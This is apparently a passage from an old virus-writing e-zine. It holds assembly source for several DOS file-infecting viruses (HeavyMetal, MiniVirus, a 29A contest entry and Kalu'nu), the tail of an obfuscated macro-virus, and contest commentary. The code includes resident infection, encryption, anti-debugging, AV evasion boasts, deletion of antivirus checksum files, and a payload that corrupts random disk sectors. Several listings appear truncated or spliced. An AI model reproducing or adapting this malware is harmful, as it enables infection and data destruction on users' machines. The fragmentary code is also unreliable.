"Mrwivx$DDSLMYGJZIYGJTMJZIWIN(,DD$/$Wxv(,JKUWPYWNIOWEI-$/$DD-ADD$/$Glv(,PPXHSTZTJVMQ-$/$SLMYGJ
ZIYGJTMJZIWIN(,JKUWPYWNIOWEI-$/$Glv(,PPXHSTZTJVMQ-"
OHIUCFVEUCFPIFVESEJ$(161) = "MrwivxTeve"
OHIUCFVEUCFPIFVESEJ$(162) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(163) =
"Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$PRINQOTSNUOR$1$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(164) =
"Mrwivx$DDTHHTYQHKHLXXWXK(,DD$/$Wxv(,JKUWPYWNIOWEI-$/$DD-ADD$/$Glv(,PPXHSTZTJVMQ-$/$THHTYQHKHL
XXWXK(,JKUWPYWNIOWEI-$/$Glv(,PPXHSTZTJVMQ-"
OHIUCFVEUCFPIFVESEJ$(165) = "MrwivxTeve"
OHIUCFVEUCFPIFVESEJ$(166) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(167) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(168) = ""
OHIUCFVEUCFPIFVESEJ$(169) = "Jyrgxmsr$XUYNGYEWQRFGRIHURQ("
OHIUCFVEUCFPIFVESEJ$(170) = "ZJFNTQQJLLZHZ($A$DDDD"
OHIUCFVEUCFPIFVESEJ$(171) =
"Jsv$JKUWPYWNIOWEI$A$YWFWROESJNREPGFQKZW$Xs$RQKSNVMNWYIWUYZF$/$Vrh,-$.$RQKSNVMNWYIWUYZF$>$ZJFN
TQQJLLZHZ($A$ZJFNTQQJLLZHZ($/$Glv(,Vrh,-$.$ORPUZQIQJTUTINXO$/$TKPNWXTYTXTRKVSSPZ-$>$Ri|x$JKUWP
YWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(172) = "XUYNGYEWQRFGRIHURQ($A$ZJFNTQQJLLZHZ("
OHIUCFVEUCFPIFVESEJ$(173) = "Irh$Jyrgxmsr"
OHIUCFVEUCFPIFVESEJ$(174) = ""
OHIUCFVEUCFPIFVESEJ$(175) = "Wyf$XYZOFQQOULMGNPGLSM"
OHIUCFVEUCFPIFVESEJ$(176) =
"Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$PRINQOTSNUOR$1$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(177) =
"IhmxVitpegi$2Jmrh$A$THHTYQHKHLXXWXK(,JKUWPYWNIOWEI-0$2Vitpegi$A$XUYNGYEWQRFGRIHURQ(0$2Hmvigxm
sr$A$NMRUTUQJVXPLWUXRJ0$2QexglGewi$A$YWFWROESJNREPGFQKZW0$2[lspi[svh$A$NMRUTUQJVXPLWUXRJ0$2Tex
xivrQexgl$A$NMRUTUQJVXPLWUXRJ0$2WsyrhwPmoi$A$NMRUTUQJVXPLWUXRJ0$2Vit" +
"pegiEpp0$2Jsvqex$A$NMRUTUQJVXPLWUXRJ0$2[vet$A$YWFWROESJNREPGFQKZW0$2JmrhEpp[svhJsvqw$A$NMRUTU
SLOW_B.MAC
QJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(178) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(179) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(180) = ""
OHIUCFVEUCFPIFVESEJ$(181) = "Wyf$SIRGQMWUXEPLHG"
PDDPUMDGDHTTSTG$(0) = "IMGSGFQRMNRKTMQ"
PDDPUMDGDHTTSTG$(1) = "OHIUCFVEUCFPIFVESEJ"
PDDPUMDGDHTTSTG$(2) = "PDDPUMDGDHTTSTG"
PDDPUMDGDHTTSTG$(3) = "JINQPQMFRTLHSQTNF"
PDDPUMDGDHTTSTG$(4) = "NMGOJRIJSUESQUVB"
PDDPUMDGDHTTSTG$(5) = "KNLQVMEMFPQPEJTK"
PDDPUMDGDHTTSTG$(6) = "JBHBTPLCTCSFMPIOBES"
PDDPUMDGDHTTSTG$(7) = "USBSNKAOFJNALCBMGVS"
PDDPUMDGDHTTSTG$(8) = "ACRNIVGPSLPCFHO"
PDDPUMDGDHTTSTG$(9) = "PJOKOJBSMPT"
PDDPUMDGDHTTSTG$(10) = "PGLJSTPUPTPNGROOLV"
PDDPUMDGDHTTSTG$(11) = "LLTDOPVPFRIM"
PDDPUMDGDHTTSTG$(12) = "UPENJTSLBNMLUIH"
PDDPUMDGDHTTSTG$(13) = "TDRMLJCEKT"
PDDPUMDGDHTTSTG$(14) = "LJJVIBFHTOBT"
PDDPUMDGDHTTSTG$(15) = "BGUSBDDDIDM"
PDDPUMDGDHTTSTG$(16) = "LNEJMKPOJQKN"
PDDPUMDGDHTTSTG$(17) = "FGQSLUSJEKSAE"
PDDPUMDGDHTTSTG$(18) = "LUQSSBMOBPDPEQPTBLA"
PDDPUMDGDHTTSTG$(19) = "JRBFDDLKJSL"
PDDPUMDGDHTTSTG$(20) = "VFBJPMMFHHVDV"
PDDPUMDGDHTTSTG$(21) = "RBQSGJPLBQIQ"
PDDPUMDGDHTTSTG$(22) = "OJUEODSIIGNCH"
PDDPUMDGDHTTSTG$(23) = "VVFLNFCKLQGHDTGM"
PDDPUMDGDHTTSTG$(24) = "OOVQGUSBFLIEQCG"
PDDPUMDGDHTTSTG$(25) = "GGDTNQQUHVFHJFR"
PDDPUMDGDHTTSTG$(26) = "NNRFBRGQUGQU"
PDDPUMDGDHTTSTG$(27) = "TUVKBMMKQHICJLCHOI"
PDDPUMDGDHTTSTG$(28) = "GNQPDBMBJMU"
PDDPUMDGDHTTSTG$(29) = "TQUJCUASMNBCNEDQNM"
PDDPUMDGDHTTSTG$(30) = "OENCMISQTALHDC"
End Sub
==============================================================================
HeavyMetal is paraguayan old-style resident COM/EXE infector, with playload routinne grabbed from DAV's
virii. It hides its own length in infected files (semistealth), uses some anti-debug tricks as well as int21 entry
point tracing, and direct SFT manipulation to avoid suspective actions for heuristics (such a opening for write,
seeking, etc).
.model tiny
.code
org 0
HeavyMetal:
mov bp,sp ; Get delta offset
int 03h
mov bp,word ptr SS:[bp-06]
sub bp,03
DECRYPTOR:
db 081h,034h ; XOR WORD PTR [SI],KEYWORD
Keyword dw 0
lodsw ; inc si / inc si
int 01h ; Clear prefetch queue
Encrypted_Stuff:
Loop DECRYPTOR ; LOOP encrypted too
push es
pop ds
in al,21h ; Turn off Keyboard IRQ
or al,02
out 21h,al
push si ; Stack test
pop si
dec sp
dec sp
pop di
sub si,di
jz All_is_OK
db 02eh ; CS:
int 019h ; Warm Reboot
nop ; Gift 4 TBCLEAN
All_is_OK:
mov ax,0cd13h ; Residence test
int 21h
cmp ax,'DA'
jne Upload_Virus
jmp Already_in_Memory
Upload_Virus:
push es
mov ax,3521h ; Get INT 21h's handler
int 21h
mov cs:[bp+word ptr Old21h],bx
mov cs:[bp+word ptr Old21h+2],es
mov cs:[bp+word ptr Real21h],bx
mov cs:[bp+word ptr Real21h+2],es
push ds
jne Check
lds bx,ds:[bx+1]
cmp word ptr ds:[bx],9090h
jnz PSP_Tracing
sub bx,032h
cmp word ptr ds:[bx],9090h
jne Check
Found: mov cs:[bp+word ptr Real21h],bx
mov cs:[bp+word ptr Real21h+2],ds
jmp short MCBTSR
Check: cmp word ptr ds:[bx],02e1eh
jnz MCBTSR
add bx,025h
cmp word ptr ds:[bx],080fah
je Found
MCBTSR: pop ds
mov ax,ds
dec ax ; MCB
mov es,ax
mov ax,es:[3]
sub ax,ParaVir1
xchg bx,ax
push ds
pop es
mov ah,4ah
int 21h
mov ah,48h
mov bx,ParaVir2
int 21h
dec ax
mov es,ax
mov word ptr es:[1],8
mov word ptr es:[8],'HM' ; Block name: Heavy Metal
inc ax
mov es,ax
xor di,di
push cs
pop ds
lea si,[bp+offset HeavyMetal]
mov cx,ViralSize
rep movsb ; Virus to ES:0
int 03h
push es
pop ds
mov ax,2521h ; Hook 21h
mov dx,offset Viral21h
int 21h
pop es
Already_in_Memory:
in al,21h ; Turn on keyboard IRQ
and al,not 2
out 21h,al
in al,40h
HEAVY.ASM
mov ah,al
in al,40h
test al,15
jne Nope
xor ax,cs:[bp+cs_ip]
call Payload ; Mad Maniac rulez!
push es
pop ds
mov ax,es
add ax,16d
add cs:[(bx+CS_IP)+2],ax
cli
add ax,cs:[(bx+SS_SP)+2]
mov ss,ax
mov sp,cs:[bx+SS_SP]
sti
call Clear_Registers
db 0ebh,0h
db 0eah
CS_IP dw offset Huesped,0h
SS_SP dw 0,0
Run_COM:call SetSegments
lea si,[bp+offset Buffer] ; Return control to .COM
mov di,100h
push di
cld
movsb
movsw
Clear_Registers:
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret
Fool_Jump2:
jmp Stealth2
Fool_Jump3:
jmp Analizar
push si
push ax
push bx
pushf
pop ax
and ah,11111110b ; Turn off Trap Flag
push ax
popf
sub ax,ax
mov ds,ax
mov bx,4
lds si,[bx]
mov byte ptr [si],0cfh ; IRET in 1h's handler
pop bx
pop ax
pop si
pop ds
push ax
push bx
push es
mov ah,62h
int 21h
HEAVY.ASM
mov es,bx
cmp bx,es:[16h]
jne Fuera
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jne FCBComun
add bx,7
FCBComun:
mov al,byte ptr es:[bx+17h]
and al,00011111b
cmp al,00011110b
jne Fuera
Look4EXE1:
cmp ax,'XE'
jne Fuera
mov al,byte ptr es:[bx+0bh]
cmp al,'E'
jne Fuera
Fuera: pop es
pop bx
pop ax
ErrorDir:
retf 2
pushf
HEAVY.ASM
push ax
push di
push es
push bx
mov ah,2fh
int 21h
mov ax,es:[bx+16h]
and al,00011111b
cmp al,00011110b
jne Paso
mov di,bx
add di,1eh
cld
mov cx,9
mov al,'.'
repne scasb
jne Paso
Look4EXE2:
cmp word ptr es:[di],'XE'
jne Paso
cmp byte ptr es:[di+2],'E'
jne Paso
Paso: pop bx
pop es
pop di
pop ax
popf
Demonios:
retf 2
Fool_Jump4:
jmp PopearTodo
Just_POP:
jmp Just_Poping
HEAVY.ASM
cmp ax,6c00h
jne Normal_Opening
cmp dx,0001
jne Just_POP
mov dx,si
Normal_Opening:
push dx
push ds
mov ax,3524h ; Get 24h's handler
int 21h
mov word ptr cs:[Old24h],bx
mov word ptr cs:[Old24h+2],es
push cs
pop ds
pop ds
pop dx
push ds
pop es
cld
mov di,dx
mov cx,125
mov al,'.'
repne scasb
jne Fool_Jump4
xchg si,di
lodsw
or ax,2020h
cmp ax,'oc'
jne Look4EXE3
lodsb
or al,20h
cmp al,'m' ; .COM?
je Label3
Fool_Jump5:
jmp PopearTodo
Look4EXE3:
cmp ax,'xe'
jne Fool_Jump5
lodsb
or al,20h
cmp al,'e' ; .EXE?
jne Fool_Jump5
push cs
pop ds
mov ax,4300h
mov dx,offset Trash1
sub cx,cx
pushf
push cs
call Original_21h
mov ah,41h
mov dx,offset Trash2
int 21h
mov ah,41h
mov dx,offset Trash3
int 21h
mov ah,41h
mov dx,offset Trash4
int 21h
cmp cl,00011110b
jne Read_it
jmp Fool_Jump6
Read_it:call SetSegments
mov ah,3fh
mov cx,1ah
mov dx,offset EXEHeader
int 21h
mov si,dx
InfectCOM:
call Pointer_to_EOF
or dx,dx
jne Fool_Jump6
cmp ax,60000d
ja Fool_Jump6
cmp ax,029Ah ; Hi kewl spanish virus group! ;P
jbe Fool_Jump6
sub ax,3
mov word ptr [Main_JMP+1],ax
mov bx,[Handle]
call Manipular_SFT
mov ah,40h
mov cx,RealSize
mov dx,offset Microbio
int 21h
mov ah,40h
mov cx,3
mov dx,offset Main_JMP
int 21h
call SetDateTime
Fool_Jump6:
jmp Cerrar
HEAVY.ASM
InfectEXE:
cmp byte ptr [si+24],'@' ; WINDOSUX's EXE?
je Fool_Jump6
call Pointer_to_EOF
push ax
push dx
pop dx
pop ax
add ax,RealSize
adc dx,0
mov cl,9
mov bx,ax
shr ax,cl
ror dx,cl
or dx,dx
stc
adc dx,ax
mov ax,bx
and ah,1
mov word ptr [EXEHeader+4],dx
mov word ptr [EXEHeader+2],ax
call Copy_to_Buffer
HEAVY.ASM
mov bx,[Handle]
call Manipular_SFT
mov ah,40h
mov cx,01ah
mov dx,offset EXEHeader
int 21h
call SetDateTime
PopearTodo:
push cs
pop ds
Just_Poping:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp Original_21h ; Go on with the real INT
SetDateTime:
mov cx,word ptr cs:[Time]
and cl,11100000b
or cl,00011110b ; Mark as infected
mov dx,word ptr cs:[Date]
mov ax,5701h
int 21h
ret
Pointer_to_EOF:
mov ax,04202h
xor cx,cx
HEAVY.ASM
cwd
int 21h
ret
mov ax,1216h
xor bh,bh
mov bl,es:[di]
int 2fh
Copy_to_Buffer:
in al,40h
mov ah,al
in al,40h
or ax,ax ; No 0 please
je Copy_to_Buffer
mov [Keyword],ax
call SetSegments
mov cx,(RealSize/2)
xor si,si
mov di,offset Microbio
rep movsw ; Move to buffer
mov cx,Crypted
mov si,(offset Microbio+SkipThese)
mov bx,[Keyword]
ENCRYPTOR:
xor word ptr [si],bx
lodsw ; inc si / inc si
LOOP ENCRYPTOR
ret
; on entry:
; bp = code base address
; ax = random number (read from port 40h)
; on exit:
; es, bp - preserved
; cf = 1 if an error occured
; other registers trashed
; > 512 bytes of stack used
Payload:
push bp es
sub sp,512 ; § ¥¬ ¬¿±²® § ¡³´¥°
lea bx,[bp+int_13]
xor dx,dx
mov ds,dx
xor ax,ds:[46eh]
xchg si,ax
mov di,ds:[46ch]
mov bp,cs
xor bp,di ; si:bp = ±«³· ©-® ·¨±«®
les cx,ds:[7b4h]
mov ax,es
cmp ax,0f000h
jz short @@5
cmp ax,0c800h
jz short @@5
les cx,ds:[4ch]
@@5: mov cs:[bx],cx ; ¤°¥± - int 13 ¢ rom (¢¥°®¿²-®)
mov cs:[bx+2],ax
push ss
pop es
mov ax,ds:[43fh]
shr ax,1
jc @@1 ; ¥¤- ¤¨±ª¥² ±¥ ¢º°²¨..
inc dx
shr ax,1
jc @@1
@@2: mov dl,80h
@@1: push di dx
mov ah,8
int 13h
pop ax di
jc @@8
xchg al,dl
or dl,dl
jns @@3 ; ¨§¡¨° ¬¥ ¤¨±ª¥² ² , ª®¿²® ±¥ ¢º°²¥¸¥
and ax,7fh
call getrand ; ¨- ·¥, ¨§¡¨° ¬¥ ±«³· ¥- -®¬¥° - ¤¨±ª
or al,80h
xchg dx,ax
@@4: push dx
mov ah,8
int 13h
pop ax
jc @@2
mov dl,al
@@3: mov al,cl
and ax,63
call getrand ; ±«³· ¥- -®¬¥° - ±¥ª²®°
inc ax
xchg ax,cx
rol al,1
HEAVY.ASM
rol al,1
and al,3
xchg al,ah
inc ax
call getrand ; ±«³· ¥- -®¬¥° - ¶¨«¨-¤º°·¥
xchg al,ah
ror al,1
ror al,1
or cx,ax
mov al,dh
xor ah,ah
inc ax
call getrand ; ±«³· ¥- -®¬¥° - £« ¢ ²
mov dh,al
mov bx,sp
mov ax,201h
int 13h
@@8: jc @@9
@@6: mov ax,1001h
call getrand ; ±«³· ¥- -®¬¥° - ¡¨²
dec ax
js @@7 ; ¤ -¥ ±¥ § ¶¨ª«¨¬ ª® ¨¬ ± ¬® -³«¨
xchg cx,ax
mov bl,1
rol bl,cl
xchg ax,cx
shr ax,1
shr ax,1
shr ax,1
add ax,sp
xchg bx,ax
test ss:[bx],al
jz @@6 ; ²®§¨ ¡¨² ¢¥·¥ ¥ ¨§²°¨², ¤ © ¬¨ ¤°³£
not al
and ss:[bx],al ; ¨§²°¨¢ ¬¥ ¡¨² ...
xor bp,ss:[bx+1]
xor si,ss:[bx+3]
mov bx,sp
mov ax,301h
pushf
db 9ah ; ... ¨ £® § ¯¨±¢ ¬¥ - ¤¨±ª
int_13 dw 24940, 25965
jc @@9
or dl,dl
jns @@9 ; ±¢º°¸¢ ¢¥¤- £ ª® ¥ ¯¨± « - ¤¨±ª¥²
@@7: lea ax,[di+3]
sub ax,ds:[46ch] ; ¨- ·¥ ¯°®¤º«¦ ¢ ¬¥ ±º± ±º¹¨¿ ¤¨±ª
ja @@4 ; ¤®ª ²® ¨§²¥·¥ ¯®-¥ 1/6 ±¥ª³-¤
@@9: mov bp,sp
lea sp,[bp+512]
pop es bp
ret
inc bp
rnext: dec dx
jnz rloop
xchg si,ax
mul si
xchg ax,dx
pop dx
ret
Original_21h:
db 0eah
Real21h dw 0,0
ret
EndVirus:
HELLOWEEN dw 0
Handle dw 0
Time dw 0
Date dw 0
Attributes db 0
Old24h dd 0
Microbio db RealSize dup('H')
EXEHeader db 01ah dup(0)
end HeavyMetal
SUB
One summer afternoon mgl and flush decided to make a vx writing contest. Since we knew all previouse
attempts on this field failed due the lack of submission or too serious rulez we were facing "little" problem. To
make it as little time consumpting as possible the relust should be short virus able to spread under Dthe OS
operating system. To make virus a little bit harder to code couple of condition should be met:
On the very beginning was my opinion that everyone who should be succesfull should be able to undercode
300 bytes mark. But soon i was pointed to old VLAD #5 issue where i found "Smalest virus ever" by Super.
This piece of code with its 168 bytes got us to the question - is possible to beat such a low limit? An if who
will do it?
There were some very "clever" dudez who actually wanna cheat ... Yes, they requested us to wait till all the
submissions will arrive and the we should pick the shortest one and send to them. They wanted to cut its
lenght by one byte and take win in the contest. Email-s of this kind were forwarded to the place they belong -
to /dev/nul.
Need to say, we didn't expect too much participants but we were suprised only 2 coderz took part in the Tiny
99 Open. Total count of submission was 3.
Ladies and gentlemen, this year the Oscar goes to ... Sorry, i got wrong piece of paper... Name of this year's
winner is:
Super / 29A
Black Jack
;This virus should work in all versions of msdos, including dos sessions
;inside win3.x/win9x I havent tested in winNT.
;It infects COM & EXE files, without reinfecting them.
;It goes memory resident (only one time, of course)
;to compile:
;tasm /m29A small.asm
;tlink /t small
.286 ;
.model small ;yeah! small! as always :D
.code ;code starts here... no data X-D
;--------------------------------------------------------------------------
;Before starting a DOS program, the registers should have the following value:
;eax=00000000
;ebx=00000000
;ecx=000000ff
;dx=ds=es
;esi=eip
;edi=esp
;ebp=0912 (in pure dos)
; =091c (in windows dos session)
scasw
jz exit_to_host ;test if int21 is the same address as the virus
;warning! dont run other program that hooks
;int21 after the virus
db 66h
stosw ;store old int21 handler
exit_to_host:
mov es,dx ;restore ES
infect_exe:
shl dx,0ch ;DX=new CS
sub dx,[si-1+8h] ;Adjust for the header size
int21:
pusha ;Save registers
push ds
sub ax,4b00h ;Infect on execute
jnz exit_int21
infect:
xchg si,ax ;SI=0000
;Open file --->BX=handle
mov ax,3d92h ; bits 0-2=2--> read & write access
int 21h ; bits 4-6=1--> prohibit access by others
xchg bx,ax ; bit 7=1--> private for current process
mov ah,3fh ;
mov cx,20h ; Read first 20h bytes from the file
mov ds,cx ;
cwd ; (DS:DX=0020:0000)
int 21h ;
SUPER29A.ASM
xor cx,cx
mov ax,4202h ; Seek to EOF
int 21h ; (CX & DX are already zero)
cmp al,'M'
jz infect_exe ;in case of MZ header jump to infect file
infect_com:
cmp al,0e9h ;the COM file must start by a jump
jnz close
write_hdr:
mov ax,4200h ;
cwd ; Seek to the start of file
mov cx,dx ;
int 21h ;
close:
mov ah,3eh ; Close file
int 21h ;
exit_int21:
pop ds
popa ; Restore registers
vir_end:
vir_size equ offset vir_end - offset vir_start
end vir_start
;--------------------------------------------------------------------------
MINIV.ASM
; *************************************************************************
; ******************** ********************
; ******************** MiniVirus ********************
; ******************** by ********************
; ******************** BLACK JACK ********************
; ******************** ********************
; *************************************************************************
comment ~
COMMENTS: This virus was written for the tiny '99 open, the coding contest of
the *-zine #2. Therefore it is stripped down to its bare bones and
as optimized as possible. As far as I know this is the smallest
parasitic EXE/COM/TSR virus ever!
DESCRIPTION: When an infected file is run, the virus will install itself
memory resident in the upper half of the interrupt vector table,
if it wasn't memory resident before. Then it will hook int 21h
and redirect the original vector to int 3, which will fool some
debuggers and is more optimized. It will then infect EXE and COM
files on execute. The virus will prepend its body and save the
original beginning of the file to the end (non-destructive
overwriting). EXE files are infected exactly the same way as COM
files, that means that they are converted to COM format
internally, and the EXE header will be interptreted manually by
the virus. To reduce code, the virus will only infect EXE files
without an relocation table. The virus won't infect any NewExe
files or files that are too big or too small. It won't reinfect
memory or files.
ASSEMBLE WITH:
TASM /M minivir
TLINK minivir
EXE2BIN minivir.exe minivir.com
~
; ===== CODE STARTS HERE ====================================================
.model tiny
.radix 10
.386
.code
org 0
MINIV.ASM
start:
; The virus assumes the following register values at startup:
; EAX=0
; BX=0
; CX=00FFh
; DX=DS=PSP segment
; SI=IP=100h
; DF=0
; the first two instructions are also the virus name: MV - MiniVirus
return:
db 0B8h ; mov ax, imm16
offset_org_start dw 0-100h ; int 20h in PSP to quit 1st gen
restore:
pop es ; restore ES
pop di ; DI=100h
mov si, ax ; SI = offset of original file start
add si, di ; move original .COM start back
JE restore_exe
restore_exe:
pop di ; restore DI
new_int21h:
cmp ah, 4Bh ; execute?
JNE org_int21h ; if so, infect .COM/.EXE
infect_exec:
pusha ; save registers
push ds
push cs ; DS=CS
pop ds
com_file:
; write original com start to EOF
; AH is already 40h
mov dx, si ; DS:DX=pointer to buffer
mov cl, virus_length ; CX=length to write (CH is already 0)
pusha ; save all registers
int revector
close:
mov ah, 3Eh ; close file
int revector
end_virus:
end start
MINIVIR.ASM
; *************************************************************************
; ******************** ********************
; ******************** MiniVirus ********************
; ******************** by ********************
; ******************** BLACK JACK ********************
; ******************** ********************
; *************************************************************************
comment ~
COMMENTS: This virus was written for the tiny '99 open, the coding contest of
the *-zine #2. Therefore it is stripped down to its bare bones and
as optimized as possible.
DESCRIPTION: When an infected file is run, the virus will install itself
memory resident in the upper half of the interrupt vector table,
if it wasn't memory resident before. Then it will hook int 21h
and redirect the original vector to int 3, which will fool some
debuggers and is more optimized. It will then infect EXE and COM
files on execute. The virus will prepend its body and save the
original beginning of the file to the end (non-destructive
overwriting). EXE files are infected exactly the same way as COM
files, that means that they are converted to COM format
internally, and the EXE header will be interptreted manually by
the virus. To reduce code, the virus will only infect EXE files
without an relocation table. The virus won't infect any NewExe
files or files that are too big or too small. It won't reinfect
memory or files.
ASSEMBLE WITH:
TASM /M minivir
TLINK minivir
EXE2BIN minivir.exe minivir.com
~
; ===== CODE STARTS HERE ====================================================
.model tiny
.radix 10
.386
.code
org 0
MINIVIR.ASM
start:
; The virus assumes the following register values at startup:
; most significant word of EAX=0
; BH=0
; CX=00FFh
; DX=DS=PSP segment
; SI=IP=100h
; DF=0
return:
db 0B8h ; mov ax, imm16
offset_org_start dw 0-100h ; int 20h in PSP to quit 1st gen
restore:
les di, [bx-16h] ; ES:DI=Program entry point on stack
mov si, ax ; SI = offset of original file start
add si, di ; move original .COM start back
JE restore_exe
_retf:
retf ; execute host
restore_exe:
MINIVIR.ASM
pop di ; restore DI
new_int21h:
cmp ah, 4Bh ; execute?
JNE org_int21h ; if so, infect .COM/.EXE
infect_exec:
pusha ; save registers
push ds
push cs ; DS=CS
pop ds
com_file:
; write original com start to EOF
; AH is already 40h
mov dx, si ; DS:DX=pointer to buffer
mov cl, virus_length ; CX=length to write (CH is already 0)
pusha ; save all registers
int revector
close:
mov ah, 3Eh ; close file
int revector
end_virus:
end start
Kanu`lu is a DOS EXE/COM two-layered encrypted appending virus. A quite simple virus with most popular
DOS capabilities, and some little (non descrutcive) action as well...
; Trev and Tbh: For the funny times in #vir or #virus, buahahahahhahah ;
;
;
;******-< AV's Scan >-**********************************************;
; Name Results Comments
;
; AVP 3.0 build 131 Dont Detect :P
;
; Avast32 3.0 build 162 Dont Detect :P ;
; InVircible 7.02 build 295a Dont Detect :P ;
; Dr.WEB 4/05 Beta Dont Detect :P
;
; VirusBUSTER release1999 Dont Detect :P ;
; McAfee VirusScan 4.0.3 Dont Detect :P
;
; NOD32 Dont Detect :P
;
; NAV 5.00.01a Dont Detect :P
;
; Ivz 7.02m Dont Detect :P ;
; F-prot 3.05b DOS Dont Detect :P
;
; VirusBuster V8.03.557 Dont Detect :P ;
; Panda AV Platinum 6.08.00 Dont Detect :P
;
; Panda AV Win95/98 6.0 Dont Detect :P
;
; F-Secure AV 4.04 Win95 Dont Detect :P
;
; FindVirus 7.97 Dont Detect :P
;
; RHBVS Version 2.54.05 Dont Detect :P ;
; VirusScan Plus (VSP) Dont Detect :P ;
; ;
; Command AV Win95 v4.57 Sometimes flag some :O ;
; files, as BHound Hibrid ;
; ;
; TBAV 8.09b Win95 Dont Detect Sometimes trigger some flags
;
; (high Heuristic mode) but he dont see the virii
:));
; ;
; PS: TBAV and Command AV probably ;
; dont goes beyond the encryption, ;
; leaving the main code safe. *Test on 2nd Generations ;
; ;
;******-< I love this Job
>-**********************************************;
;******-< ShowTime!!!
>-**********************************************;
code segment
assume cs:code,ds:code
jumps
org 100h
KALU'NU.ASM
begin:
push ds
mov bp, sp
int 03h
DeltaOff:
mov si, ss:[bp-6]
sub si, offset DeltaOff
xchg si, bp
push cs cs
pop es ds
Fake:
mov cx, 0ffffh
Anti:
db 9ch
xchg ax, bx
and ax, 666h
xor bx, ax
xchg bx, ax
xor bx, ax
not bx
shr ax, 4
db 9dh
loop Anti
call Sec
jmp contin
InfectType dw ?
first:
mov cx, (end_virus-Sec+1)/2
lea di, [bp+Sec]
mov si, di
mov ah, EncKey
firstloop:
lodsb
xor ah, 13h
xor al, ah
not al
stosb
loop firstloop
ret
KALU'NU.ASM
Sec:
mov cx, (end_virus-contin+1)/2
lea di, [bp+contin]
mov si, di
mov ah, EncKey2
Secloop:
lodsb
not al
xor al, ah
xor ah, 13h
stosb
loop Secloop
ret
contin:
cmp word ptr [bp+InfectType], 1
je restoreCOM
cmp word ptr [bp+InfectType], 0
je setDTA
jmp restoreEXE
restoreCOM:
mov di, 100h
lea si, [bp+offset old3]
movsw
movsb
jmp setDTA
restoreEXE:
lea di, [bp+storeIP]
lea si, [bp+oldIP]
movsw
movsw
movsw
movsw
setDTA:
mov ah, 1ah
lea dx, [bp+offset newDTA]
int 21h
push es
mov ax, 3524h
int 21h
mov [bp+word ptr OldInt24h], bx
mov [bp+word ptr OldInt24h+2], es
pop es
mov cx, 7
int 21h
jnc VerifyExt
jmp exit
VerifyExt:
push ax cx di es
push ds
pop es
infectEXE:
pop es di cx ax
mov word ptr [bp+InfectType], 2
call OpenFile
je Damm
mov ah, 3fh
mov cx, 1ch
lea dx, [bp+header]
int 21h
cont:
call saveheader
push ax dx
call calcCSIP
pop dx ax
call calcsize
call writevirus
xor ax, ax
call seek
int 21h
call CloseFile
infectCOM:
pop es di cx ax
mov word ptr [bp+InfectType], 1
call OpenFile
je Damm
xor ax, ax
call seek
call writevirus
call CloseFile
jmp NoMatch
exit:
pop ds
mov dx, 80h
mov ah, 1ah
int 21h
nobody:
int 20h
HostCOM:
push 100h
KALU'NU.ASM
retn
HostEXE:
push ds
pop es
mov ax, es
add ax, 10h
cli
add ax, word ptr cs:[bp+storeSS]
mov ss, ax
mov sp, word ptr cs:[bp+storeSP]
sti
db 0eah
storeIP dw 0
storeCS dw 0
storeSP dw 0
storeSS dw 0
oldIP dw 0
oldCS dw 0fff0h
oldSP dw 0
oldSS dw 0fff0h
PayBack:
mov cx, 235
loopDir:
mov ah, 39h
lea dx, DirName
int 21h
inc DirName
loop loopDir
DirName db '!.Kalu`nu',0
KiLLCRCs:
pop es di cx ax
lea dx, [bp+kill1CRC]
call KiLL
lea dx, [bp+kill2CRC]
call KiLL
KALU'NU.ASM
KiLL:
mov ax, 4301h
xor cx, cx
int 21h
kill1CRC db 'ANTI-VIR.DAT',0
kill2CRC db 'CHKLIST.MS',0
kill3CRC db 'SMARTCHK.CPS',0
kill4CRC db 'AVP.CRC',0
kill5CRC db 'IVB.NTZ',0
kill6CRC db 'CHKLIST.TAV',0
NewInt24Hand:
xchg ax, ax
iret
Damm:
call CloseFile
NoMatch:
mov ah, 4fh
jmp next
writevirus:
call Sec
call first
mov cx, end_virus-begin
lea dx, [bp+offset begin]
mov ah, 40h
int 21h
call first
call sec
ret
saveheader:
mov ax, word ptr [bp+header+0eh]
mov word ptr [bp+oldSS], ax
mov ax, word ptr [bp+header+10h]
mov word ptr [bp+oldSP], ax
mov ax, word ptr [bp+header+14h]
mov word ptr [bp+oldIP], ax
mov ax, word ptr [bp+header+16h]
mov word ptr [bp+oldCS], ax
ret
CalcCSIP:
push ax
mov ax, word ptr [bp+header+8]
mov cl, 4
KALU'NU.ASM
shl ax, cl
mov cx, ax
pop ax
sub ax, cx
sbb dx, 0
calcsize:
push ax
seek:
mov ah, 42h
xor cx, cx
cwd
int 21h
ret
OpenFile:
mov ax, 4300h
lea dx, [bp+offset newDTA+1eh]
int 21h
mov word ptr [bp+file_attr], cx
int 21h
xchg bx, ax
CloseFile:
mov ax, 5701h
mov dx, word ptr [bp+file_date]
mov cx, word ptr [bp+file_time]
and cx, 1111111111100000b
and dx, 0000000000011111b
or cx, dx
mov dx, word ptr [bp+file_date]
int 21h
OldInt24h dd 00h
jump db 0e9h,0,0
TmpInfectType dw ?
Filez db '*.*',0
file_attr dw ?
file_time dw ?
file_date dw ?
end_virus:
newDTA db 43 dup (?)
header db 1ch dup (?)
code ends
end begin
After Anarchy.6093 this was the next non-macro virii able to infect wb6 documents. This virii was designed to
work under ring-0 as vxd. For this reason author developed its own vxd infecting routine (we need to say it
was not very stable - doesn't work under win98). In infection of doc there are still some bugs. Virii is strictly
modularized (this is reason why a biggest part of code in 29A disassembly is missing) - and this is what i
believe is not very common for today viruses. Hovever author claims that this will be neccessary for future,
